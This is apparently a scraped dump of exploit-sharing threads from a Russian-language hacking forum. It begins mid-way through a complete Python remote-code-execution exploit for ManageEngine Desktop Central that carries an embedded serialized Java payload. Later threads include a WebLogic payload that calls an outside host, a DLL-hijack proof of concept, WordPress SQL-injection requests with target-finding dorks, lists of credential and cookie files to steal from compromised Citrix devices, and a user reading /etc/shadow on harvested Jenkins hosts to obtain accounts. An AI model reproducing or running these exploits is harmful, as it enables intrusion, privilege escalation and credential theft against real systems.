                        <param name="authtoken" regex="apikey" secret="true"/>
                        <param name="SCOPE" regex="scope" />
                        <param name="encapiKey" regex="encapiKey" max-len="200" />
            <param name="initiatedBy" regex="safestring"/>
            <param name="extraData" type="JSONObject" template="supportIssueDetailsJson" max-len="2500"/>
        </url>
```

Note that the authentication attribute is ignored in this case. The `filename` GET parameter is restricted to the following strings: "logger.txt", "logger.zip", "mdmlogs.zip" and "managedprofile_mdmlogs.zip" using a regex pattern. For exploitation, this limitation doesn't matter since the deserialization bug permits a completely controlled filename.

## Example:

saturn:~ mr_me$ ./poc.py
(+) usage: ./poc.py <target> <cmd>
(+) eg: ./poc.py 172.16.175.153 mspaint.exe

saturn:~ mr_me$ ./poc.py 172.16.175.153 "cmd /c whoami > ../webapps/DesktopCentral/si.txt"
(+) planted our serialized payload
(+) executed: cmd /c whoami > ../webapps/DesktopCentral/si.txt

saturn:~ mr_me$ curl http://172.16.175.153:8020/si.txt
nt authority\system
"""
import os
import sys
import struct
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def _get_payload(c):
    p  = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594"
    p += "da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400"
    p += "164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200"
    p += "2b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265"
    p += "616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d706172"
    p += "61746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e"
    p += "672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e"
    p += "732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d706172"
    p += "61626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f75"
    p += "7470757450726f706572746965737704000000037372003a636f6d2e73756e2e"
    p += "6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e"
    p += "747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d"
    p += "5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b00"
    p += "0a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a"
    p += "6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f"
    p += "6f757470757450726f706572746965737400164c6a6176612f7574696c2f5072"
    p += "6f706572746965733b787000000000ffffffff757200035b5b424bfd19156767"
    p += "db37020000787000000002757200025b42acf317f8060854e002000078700000"
    p += "069bcafebabe0000003200390a00030022070037070025070026010010736572"
    p += "69616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75"
    p += "6505ad2093f391ddef3e0100063c696e69743e010003282956010004436f6465"
    p += "01000f4c696e654e756d6265725461626c650100124c6f63616c566172696162"
    p += "6c655461626c6501000474686973010013537475625472616e736c6574506179"
    p += "6c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c"
    p += "2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e73"
    p += "6c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f"
    p += "73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f7873"
    p += "6c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c"
    p += "2f696e7465726e616c2f73657269616c697a65722f53657269616c697a617469"
    p += "6f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73"
    p += "756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c"
    p += "74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f"
    p += "72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65"
    p += "722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074"
    p += "696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78"
    p += "616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e"
    p += "2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d"
    p += "417869734974657261746f723b4c636f6d2f73756e2f6f72672f617061636865"
    p += "2f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c69"
    p += "7a6174696f6e48616e646c65723b29560100086974657261746f720100354c63"
    p += "6f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64"
    p += "746d2f44544d417869734974657261746f723b01000768616e646c6572010041"
    p += "4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c"
    p += "2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c6572"
    p += "3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a"
    p += "000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f"
    p += "4761646765747324537475625472616e736c65745061796c6f6164010040636f"
    p += "6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f"
    p += "78736c74632f72756e74696d652f41627374726163745472616e736c65740100"
    p += "146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f"
    p += "6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f"
    p += "5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061"
    p += "796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100"
    p += "116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e7469"
    p += "6d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a"
    p += "002b002e01000708003001000465786563010027284c6a6176612f6c616e672f"
    p += "537472696e673b294c6a6176612f6c616e672f50726f636573733b0c00320033"
    p += "0a002b003401000d537461636b4d61705461626c6501001d79736f7365726961"
    p += "6c2f50776e6572373633323838353835323036303901001f4c79736f73657269"
    p += "616c2f50776e657237363332383835383532303630393b002100020003000100"
    p += "040001001a000500060001000700000002000800040001000a000b0001000c00"
    p += "00002f00010001000000052ab70001b100000002000d0000000600010000002e"
    p += "000e0000000c000100000005000f003800000001001300140002000c0000003f"
    p += "0000000300000001b100000002000d00000006000100000033000e0000002000"
    p += "0300000001000f00380000000000010015001600010000000100170018000200"
    p += "19000000040001001a00010013001b0002000c000000490000000400000001b1"
    p += "00000002000d00000006000100000037000e0000002a000400000001000f0038"
    p += "00000000000100150016000100000001001c001d000200000001001e001f0003"
    p += "0019000000040001001a00080029000b0001000c00000024000300020000000f"
    p += "a70003014cb8002f1231b6003557b10000000100360000000300010300020020"
    p += "00000002002100110000000a000100020023001000097571007e0010000001d4"
    p += "cafebabe00000032001b0a000300150700170700180700190100107365726961"
    p += "6c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505"
    p += "71e669ee3c6d47180100063c696e69743e010003282956010004436f64650100"
    p += "0f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c65"
    p += "5461626c6501000474686973010003466f6f01000c496e6e6572436c61737365"
    p += "730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f476164"
    p += "6765747324466f6f3b01000a536f7572636546696c6501000c47616467657473"
    p += "2e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f61"
    p += "64732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f"
    p += "4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f"
    p += "79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747300"
    p += "2100020003000100040001001a00050006000100070000000200080001000100"
    p += "0a000b0001000c0000002f00010001000000052ab70001b100000002000d0000"
    p += "000600010000003b000e0000000c000100000005000f00120000000200130000"
    p += "0002001400110000000a000100020016001000097074000450776e7270770100"
    p += "7871007e000d78"
    obj = bytearray(bytes.fromhex(p))
    obj[0x240:0x242] = struct.pack(">H", len(c) + 0x694)
    obj[0x6e5:0x6e7] = struct.pack(">H", len(c))
    start = obj[:0x6e7]
    end = obj[0x6e7:]
    return start + str.encode(c) + end

def we_can_plant_serialized(t, c):
    # stage 1 - traversal file write primitive
    uri = "https://%s:8383/mdm/client/v1/mdmLogUploader" % t
    p = {
        "udid" : "si\\..\\..\\..\\webapps\\DesktopCentral\\_chart",
        "filename" : "logger.zip"
    }
    h = { "Content-Type" : "application/octet-stream" }
    d = _get_payload(c)
    r = requests.post(uri, params=p, data=d, verify=False)
    if r.status_code == 200:
        return True
    return False

def we_can_execute_cmd(t):
    # stage 2 - deserialization
    uri = "https://%s:8383/cewolf/" % t
    p = { "img" : "\\logger.zip" }
    r = requests.get(uri, params=p, verify=False)
    if r.status_code == 200:
        return True
    return False

def main():
    if len(sys.argv) != 3:
        print("(+) usage: %s <target> <cmd>" % sys.argv[0])
        print("(+) eg: %s 172.16.175.153 mspaint.exe" % sys.argv[0])
        sys.exit(1)
    t = sys.argv[1]
    c = sys.argv[2]
    if we_can_plant_serialized(t, c):
        print("(+) planted our serialized payload")
        if we_can_execute_cmd(t):
            print("(+) executed: %s" % c)

if __name__ == "__main__":
    main()
RCE, Oracle WebLogic Server, CVE-2020-2551
ID: 67686ba3b4103b69df379ccc
Thread ID: 35301
Created: 2020-03-02T14:34:39+0000
Last Post: 2020-03-02T14:34:39+0000
Author: 0lineplay
Prefix: Web
Replies: 0 Views: 2K

github.com

[ GitHub - Y4er/CVE-2020-2551: Weblogic IIOP CVE-2020-2551

](https://github.com/Y4er/CVE-2020-2551)

Weblogic IIOP CVE-2020-2551. Contribute to Y4er/CVE-2020-2551 development by creating an account on GitHub.

github.com github.com

![](/proxy.php?image=https%3A%2F%2Fuser- images.githubusercontent.com%2F40487319%2F75524749-81804100-5a49-11ea-8409-20746ca09299.gif&hash=9656418683359a6219034c4bb87c483f)

Java:Copy to clipboard

package payload;
import java.io.IOException;
public class exp {
    public exp() {
        String cmd = "curl http://172.16.1.1/success";
        try {
            Runtime.getRuntime().exec(cmd).getInputStream();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
LPE, Linux kernel 3.x - 5.x, CVE-2019-15666
ID: 67686ba3b4103b69df379ccd
Thread ID: 35246
Created: 2020-02-28T17:38:23+0000
Last Post: 2020-02-28T17:38:23+0000
Author: tabac
Prefix: Local
Replies: 0 Views: 2K

A poc for the kernel vulnerability (CVE-2019-15666 Ubuntu / CentOS / RHEL) that was reported last year. CentOS was the last distribution to patch the bug in January 2020.

CVE-2019-15666:

__

[ CVE-2019-15666 Ubuntu / CentOS / RHEL Linux Kernel 4.4 - 4.18 privilege

escalation - Vitaly Nikolenko ](https://duasynt.com/blog/ubuntu-centos-redhat- privesc)

Ubuntu 18.04 16.04 14.04 / CentOS 8 / RHEL 8 kernel local privilege escalation

duasynt.com duasynt.com

Техническая документация:

https://duasynt.com/pub/vnik/01-0311-2018.pdf

POC:

github.com

[ GitHub - duasynt/xfrm_poc: Linux kernel XFRM UAF poc (3.x - 5.x

kernels) ](https://github.com/duasynt/xfrm_poc)

Linux kernel XFRM UAF poc (3.x - 5.x kernels). Contribute to duasynt/xfrm_poc development by creating an account on GitHub.

github.com github.com

RCE, Windows Remote Desktop Gateway (RD Gateway), BlueGate, CVE-2020-0609\0610
ID: 67686ba3b4103b69df379ccf
Thread ID: 34657
Created: 2020-01-28T14:49:28+0000
Last Post: 2020-01-28T18:09:42+0000
Author: tabac
Prefix: DoS
Replies: 4 Views: 2K

PoC (Denial of Service + scanner) для CVE-2020-0609 и CVE-2020-0610

Эти баги позволяют хакеру, не прошедшему проверку подлинности, выполнить удаленный код с самыми высокими привилегиями через RD Gateway для RDP.

Использовать:

Code:Copy to clipboard

BlueGate.py [-h] -M {check,dos} [-P PORT] host

Убедитесь, что у вас установлен pyOpenSSL для python3.

Скачать:

https://raw.githubusercontent.com/ollypwn/BlueGate/master/BlueGate.py

Information Disclosure, Microsoft Windows CryptoAPI (Crypt32.dll), CVE-2020-0601
ID: 67686ba3b4103b69df379cd0
Thread ID: 34420
Created: 2020-01-17T15:07:35+0000
Last Post: 2020-01-25T01:32:39+0000
Author: lukas
Prefix: Local
Replies: 2 Views: 2K

Ранее на этой неделе компания Microsoft выпустила исправление для серьезного криптографического бага [CVE-2020-0601](https://portal.msrc.microsoft.com/en- US/security-guidance/advisory/CVE-2020-0601), который представляет угрозу для Windows 10, Windows Server 2019 и Windows Server 2016. Уязвимость была найдена специалистами Агентства национальной безопасности США и связана с работой CryptoAPI (Crypt32.dll) — основного компонента Windows, который отвечает за криптографические операции.

Хотя Microsoft оценила исправление для этого бага как «важное», а не «критическое», и уязвимость пока не использовалась в реальных атаках, проблема считается настолько серьезной, что АНБ пошло на беспрецедентный для себя шаг, сообщив об уязвимости разработчикам, вместо того, чтобы скрыть эту информацию и использовать для проведения собственных операций.

По данным экспертов, эта уязвимость может позволить:

  • осуществлять MitM-атаки, перехватывать и подделывать HTTPS-соединения;
  • создавать поддельные подписи для файлов и писем;
  • подписать вредоносный исполняемый файл и запустить в Windows.

Как и предсказывали ИБ-специалисты, PoC-эксплоиты для новой проблемы появились быстро. Так, первый вариант эксплоита, менее чем через сутки после раскрытия данных о проблеме, создал Салим Рашид (Saleem Rashid). Его эксплоит предназначен для подделки сертификатов TLS, что предоставляет сайтам возможность выдавать себя за легитимные ресурсы.

__https://twitter.com/x/status/1217495681230954506

Помня о рисках, Рашид не опубликовал код эксплоита в открытом доступе, лишь продемонстрировал его работу в Twitter, но другие специалисты предложили собственные варианты эксплоитов уже несколько часов спустя и выложили свои наработки на всеобщее обозрение.

Так, первый эксплоит выложен в сеть специалистам Kudelski Security, а второй эксплоит обнародован датским специалистом под ником Ollypwn. Авторы эксплоитов считают, что их публикация кода мало что меняет, так как у большинства киберпреступников не хватит знаний и ресурсов, необходимых для использования уязвимости.

И хотя теперь многие ожидают атак с использованием свежей проблемы, разработчики Microsoft уже выпустили обновления для Windows Defender, которые призваны обнаруживать эксплуатацию проблемы и защитить тех пользователей, которые еще не озаботились установкой патчей.

__https://twitter.com/x/status/1217513953359732742

LPE (UAC Bypass), Windows 10 build 1809, CVE-N/A
ID: 67686ba3b4103b69df379cd1
Thread ID: 34399
Created: 2020-01-16T13:36:59+0000
Last Post: 2020-01-16T14:04:43+0000
Author: pablo
Prefix: Local
Replies: 2 Views: 2K

Microsoft Windows 10 build 1809 - Local Privilege Escalation (UAC Bypass)

Exploit Title: Microsoft Windows 10 - Local Privilege Escalation (UAC Bypass)
Author: Nassim Asrir
Date: 2019-01-10
Exploit Author: Nassim Asrir
CVE: N/A
Tested On: Windows 10Pro 1809

Click to expand...

To exploit the vulnerability you can use this python code then execute it and you will get the Windows Activation just click Yes and you will redirect the execution to cmd.exe.

__

[ Microsoft Windows 10 build 1809 Local Privilege Escalation (UAC Bypass)

  • CXSecurity.com ](https://cxsecurity.com/issue/WLB-2020010101)

Nassim Asrir has realised a new security note Microsoft Windows 10 build 1809 Local Privilege Escalation (UAC Bypass)

cxsecurity.com

RCE, Citrix ADC, CVE-2019-19781
ID: 67686ba3b4103b69df379cd2
Thread ID: 34398
Created: 2020-01-16T13:15:13+0000
Last Post: 2020-01-16T13:32:54+0000
Author: pablo
Prefix: Web
Replies: 1 Views: 2K

CVE-2019-19781 aka Shitrix

__

NVD - CVE-2019-19781

![nvd.nist.gov](/proxy.php?image=https%3A%2F%2Fnvd.nist.gov%2Fsite- media%2Fimages%2Ffavicons%2Ffavicon-32x32.png&hash=c2e63f3f7701e49493712e42a1b49706&return_error=1) nvd.nist.gov

github.com

[ GitHub - trustedsec/cve-2019-19781: This is a tool published for the

Citrix ADC (NetScaler) vulnerability. We are only disclosing this due to others publishing the exploit code first. ](https://github.com/trustedsec/cve-2019-19781)

This is a tool published for the Citrix ADC (NetScaler) vulnerability. We are only disclosing this due to others publishing the exploit code first. - trustedsec/cve-2019-19781

github.com github.com

В этом году мир пошатнула новость о критических уязвимостях в Citrix Netscaler, патчей на которые нет и неизвестно когда появятся, а PoC'и распространяются с бешеной скоростью.

Мы хотим с вами поделиться информацией о полезных файлах, которые вам могут пригодиться после эксплуатации уязвимости:

  1. /flash/nsconfig/ns.conf - хранятся хеши паролей
  2. /flash/nsconfig/ssl - ssl сертификаты
  3. /var/nstmp/sess_ - можно забрать проверенные cookie и использовать их повторно

Если получилось забрать файлы из пунктов 1 и 2 - можно настроить точно такой же NetScaler и использовать его как подставной для пользователей (ну или придумать другие сценарий на свой вкус).

Кстати, hashcat добавил функционал по подсчёту хешей NetScaler.

Небольшая заметка про хеши:
https://gist.github.com/rxwx/8d888e9169a3513479af69fc11a459a3

DoS, Linux kernel, CVE-2019-19927
ID: 67686ba3b4103b69df379cd3
Thread ID: 34233
Created: 2020-01-07T22:01:59+0000
Last Post: 2020-01-07T22:01:59+0000
Author: tabac
Prefix: DoS
Replies: 0 Views: 2K

Linux kernel CVE-2019-19927 Denial of Service Vulnerability

https://nvd.nist.gov/vuln/detail/CVE-2019-19927
<https://www.symantec.com/security- center/vulnerabilities/writeup/111325?om_rssid=sr-advisories>

POC:

github.com

[ CVE/CVE-2019-19927 at master · bobfuzzer/CVE

](https://github.com/bobfuzzer/CVE/tree/master/CVE-2019-19927)

Contribute to bobfuzzer/CVE development by creating an account on GitHub.

github.com github.com

Microsoft Windows XP Professionnel
ID: 67686ba3b4103b69df379da0
Thread ID: 23945
Created: 2013-02-26T09:17:28+0000
Last Post: 2013-02-26T15:16:56+0000
Author: DarckSol
Prefix: Local
Replies: 1 Views: 1K

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'\ /\ \\__ /'__\ 0
0 /\, \ ___ /\/\_\ \ \ \ \ ,/\ /\ \ _ ___ 1
1 /
/\ \ /' _ \ \/\ \/_/_\\_<_ /'___\ \ \/\ \ \ \ \/\\'
\ 0
0 \ \ /\ /\ \ \ \ /\ \ \ /\ \
/\ \ \\ \ \\ \ \ / 1
1 \ \\ \\ \\\ \ \ \/\ \\\ \
\\ \/\ \\ 0
0 /
//
//
/\ \\ /
/ // // // // 1
1 \ \
/ >> Exploit database separated by exploit 0
0 /
/ type (local, remote, DoS, etc.) 1
1 1
0 [ + ] Site : 1337day.com 0
1 [ + ] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm The Black Devils member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Author Word :
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

1. ADVISORY INFORMATION
-----------------------
Product: Microsoft Windows XP Professionnel Service Pack 2&3 Insecure Library Load
Vendor URL: http://www.teamviewer.com/fr/index.aspx
Date found: 2013-02-26
Date published: 2013-02-26

2. CREDITS
----------
This vulnerability was discovered and researched by The Black Devils

3. VERSIONS AFFECTED
--------------------
Microsoft Windows XP Professionnel Service Pack 2, older versions may be affected too.

4. VULNERABILITY DESCRIPTION
----------------------------
An insecure library loading vulnerability has been identified in
Microsoft Windows XP Professionnel Service Pack 2.

The application uses a fixed path to look for specific files or
libraries. This path includes directories that may not be trusted or
under user control.

By placing a custom version of a library in the application path, the
program will load it before the legitimate version. This allows an
attacker to inject custom code that will be run with the privilege of
the program or user executing the program. The following libraries could
be hijacked on this way:

LPK.dll

5. PROOF-OF-CONCEPT (CODE / Exploit)
------------------------------------
// wine gcc -Wall -shared inject.c -o LPK.dll
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD dwReason, LPVOID lpvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
MessageBox(0,"Inj3ctor","The Black Devils", 0);
}
return TRUE;
}

Click to expand...

CVE-2024-xxxx - Citrix Virtual Apps XEN Exploit
ID: 67686ba3b4103b69df379b21
Thread ID: 126754
Created: 2024-11-12T17:15:36+0000
Last Post: 2024-11-26T20:49:21+0000
Author: Lipshitz
Prefix: Remote
Replies: 14 Views: 1K

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F6d3ffaa329a8b27a51735f55bbcfac4493fbfd7d8df00502ec42f59f7de3b8c6%2Fwatchtowrlabs%2FCitrix- Virtual-Apps-XEN-Exploit&hash=a48822974c27aff423c1345ca82f5ea2&return_error=1)

[ GitHub - watchtowrlabs/Citrix-Virtual-Apps-XEN-Exploit: Citrix Virtual

Apps and Desktops (XEN) Unauthenticated RCE ](https://github.com/watchtowrlabs/Citrix-Virtual-Apps-XEN-Exploit)

Citrix Virtual Apps and Desktops (XEN) Unauthenticated RCE - watchtowrlabs/Citrix-Virtual-Apps-XEN-Exploit

github.com github.com

LPE, Linux kernel v5.14 < v6.6, CVE-2024-1086
ID: 67686ba3b4103b69df379b25
Thread ID: 111410
Created: 2024-03-27T08:51:45+0000
Last Post: 2024-11-22T08:13:09+0000
Author: propensity
Prefix: Local
Replies: 4 Views: 1K

POC под CVE-2024-1086 для повышения локальных привилегий, работающий на большинстве ядер Linux между версиями 5.14 и 6.6, включая Debian, Ubuntu и KernelCTF.

github.com

[ GitHub - Notselwyn/CVE-2024-1086: Universal local privilege

escalation Proof-of-Concept exploit for CVE-2024-1086, working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF i ](https://github.com/notselwyn/cve-2024-1086)

Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 9...

github.com github.com

Click to expand...

Описание:

pwning.tech

[ Flipping Pages: An analysis of a new Linux vulnerability in nf_tables

and hardened exploitation techniques ](https://pwning.tech/nftables/)

A tale about exploiting KernelCTF Mitigation, Debian, and Ubuntu instances with a double-free in nf_tables in the Linux kernel, using novel techniques like Dirty Pagedirectory. All without even having to recompile the exploit for different kernel targets once.

pwning.tech pwning.tech

Click to expand...

CVE-2024-23108: Fortinet FortiSIEM Unauthenticated 2nd Order Command Injection (PoC)
ID: 67686ba3b4103b69df379b27
Thread ID: 115624
Created: 2024-05-29T14:22:30+0000
Last Post: 2024-11-17T23:19:36+0000
Author: Братислава
Prefix: Remote
Replies: 2 Views: 1K

Странная история двух новых критичных RCE-уязвимостей в FortiSIEM ([CVE-2024–23108, CVE-2024–23109](https://www.fortiguard.com/psirt/FG- IR-23-130)). Злоумышленник может выполнить несанкционированный код или команды с помощью специальных запросов к API. Есть пруфы получения root-ового shell‑а.

![avleonov.ru](/proxy.php?image=https%3A%2F%2Favleonov.ru%2Fwp- content%2Fuploads%2F2024%2F02%2Fphoto_698%4011-02-2024_14-22-57.jpg&hash=01cb4269a4d6a226ec778218e16a54d0&return_error=1)

Странная история двух новых критичных RCE-уязвимостей в FortiSIEM (CVE-2024-23108, CVE-2024-23109) | Александр В. Леонов

Странная история двух новых критичных RCE-уязвимостей в FortiSIEM (CVE-2024-23108, CVE-2024-23109). Злоумышленник может выполнить несанкционированный код или команды с помощью специальных запросов к API. Есть пруфы получения root-ового shell-а. 🔻 5 февраля эти две CVE с идентичным описанием появляют

![avleonov.ru](/proxy.php?image=https%3A%2F%2Favleonov.ru%2Fwp- content%2Fuploads%2F2023%2F09%2Fcropped- avlru-32x32.png&hash=5fedc8ce64c82a29464c4d03ccc77766&return_error=1) avleonov.ru

[ Выпускники ограбили Ethereum / Онлайн-пиратство терпит крах / ИИ грозит

безработицей / 150 ](https://www.securitylab.ru/news/548654.php)

.responsive-video { position: relative; padding-bottom: 56.25%; padding-top: 25px; height: 0; } .responsive-video iframe { position: absolute; top: 0; left: 0...

![www.securitylab.ru](/proxy.php?image=https%3A%2F%2Fwww.securitylab.ru%2Fimg%2Ffaveicons%2Fandroid- icon-192x192.png&hash=48f4deb014821acfdcffa50cc5f79355&return_error=1) www.securitylab.ru

PoC

github.com

[ GitHub - horizon3ai/CVE-2024-23108: CVE-2024-23108: Fortinet FortiSIEM

Unauthenticated 2nd Order Command Injection ](https://github.com/horizon3ai/CVE-2024-23108)

CVE-2024-23108: Fortinet FortiSIEM Unauthenticated 2nd Order Command Injection

  • horizon3ai/CVE-2024-23108

github.com github.com

% python3 CVE-2024-23108.py -h
usage: CVE-2024-23108.py [-h] -t TARGET [-p PORT] -c COMMAND

options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
The IP address of the target
-p PORT, --port PORT The port of the Phoenix Monitor service
-c COMMAND, --command COMMAND
The command to blindly execute

Click to expand...

Arbitrary File Read, Jenkins, CVE-2024-23897
ID: 67686ba3b4103b69df379b28
Thread ID: 106745
Created: 2024-01-26T18:03:51+0000
Last Post: 2024-11-05T10:24:41+0000
Author: user_47
Prefix: Remote
Replies: 11 Views: 1K

Всем привет!

Сегодня на гитхабе появилось пару экспов под cve-2024-23897.

Описания нет. Судя по содержанию и описанию самой уязвимости предположил что после отправки нужного запроса серв вернёт сожержимое запрашиваемого файла. В примере рассмотрен /etc/passwd. Правда судя по примеру возвращается содержимое в сильно усечённом виде:

b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00;\x08ERROR: Too many arguments: bin:x:1:1:bin:/bin:/sbin/nologin\x00\x00\x00\x01\x08\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00M\x08Lists all the available commands or a detailed description of single command.\x00\x00\x00\x01\x08\n\x00\x00\x00J\x08 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'

Достал из загашника несколько ипов с Jenkins`ом. И правда что то похожее возвращается. Делаю предположение что рут типа в системе есть. Дальше пытаюсь на этом же хосте прочитать /etc/shadow. В ответ получаю такое содержимое:

b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00"\x08ERROR: Failed to parse /etc/shadow\x00\x00\x00\x01\x08\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00M\x08Lists all the available commands or a detailed description of single command.\x00\x00\x00\x01\x08\n\x00\x00\x00\x1f\x08 COMMAND : Name of the command\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'

Такой ответ наблюдал на паре разных хостов.

Всё ли я правильно делаю, чтобы зацепить учётки в системе? Или надо другие файлы попытаться прочитать?
А может дело в сплоите?

Windows Server "WinReg" NTLM Relay attack
ID: 67686ba3b4103b69df379b29
Thread ID: 125388
Created: 2024-10-23T10:01:17+0000
Last Post: 2024-10-28T07:14:06+0000
Author: pianoxltd
Prefix: Remote
Replies: 4 Views: 1K

**[CVE-2024-43532]
The flaw affects all Windows server versions 2008 through 2022 as well as Windows 10 and Windows 11.

POC:

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fe76263b48e6241ead9b04a17a0d527113b5f06fe20315f275e20a9b1a6f51373%2Fakamai%2Fakamai- security-research&hash=21e0808253c22bdb1485117116eb9e6a&return_error=1)

[ akamai-security-research/PoCs/cve-2024-43532 at main · akamai/akamai-

security-research ](https://github.com/akamai/akamai-security- research/tree/main/PoCs/cve-2024-43532)

This repository includes code and IoCs that are the product of research done in Akamai's various security research teams. - akamai/akamai-security-research

github.com github.com

**

RPC to ADCS​

We used this certificate to authenticate to the LDAP service on the domain controller and create a persistent new domain admin in the compromised domain
Capture.PNG

CVE-2024-8275
ID: 67686ba3b4103b69df379b2d
Thread ID: 124072
Created: 2024-10-04T03:01:07+0000
Last Post: 2024-10-09T19:40:53+0000
Author: Rema
Prefix: Web
Replies: 2 Views: 1K

github.com

GitHub - p33d/CVE-2024-8275

Contribute to p33d/CVE-2024-8275 development by creating an account on GitHub.

github.com github.com

Мало ли кто не видел.

SQL Injection Wordpress [CVE-2024-2876]
ID: 67686ba3b4103b69df379b31
Thread ID: 122916
Created: 2024-09-17T19:57:05+0000
Last Post: 2024-09-22T08:54:14+0000
Author: blackhunt
Prefix: Web
Replies: 3 Views: 1K

1726602568036.png

CVE-2024-2876​

Description Of Vulnerability: The Email Subscribers by Icegram Express – Email Marketing, Newsletters, Automation for WordPress & WooCommerce plugin for WordPress is vulnerable to SQL Injection via the ‘run’ function of the ‘IG_ES_Subscribers_Query’ class in all versions up to, and including, 5.7.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Dork FOFA :
body="/wp-content/plugins/email-subscribers/"2- publicwww : "/wp- content/plugins/email-subscribers/"

POC:
POST /wp-admin/admin-post.php HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencoded

page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111

POC :

Code:Copy to clipboard

POST /wp-admin/admin-post.php?page=es_subscribers&is_ajax=1&action=_click_link&operator=is&advanced_filter[conditions][0][0][field]=_click_link&advanced_filter[conditions][0][0][operator]=is&advanced_filter[conditions][0][0][value]=1')%20AND%20(SELECT%207252%20FROM%20(SELECT(SLEEP(6)))bOLF)--%20HGdZ') HTTP/1.1
Host: {HOST}
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

CVE-2024-2876.yaml​

YAML:Copy to clipboard

id: CVE-2024-2876

info:
  name: SQL Injection Wordpress [CVE-2024-2876]
  author: Quantum
  severity: critical
  metadata:
    verified: true
    max-request: 1
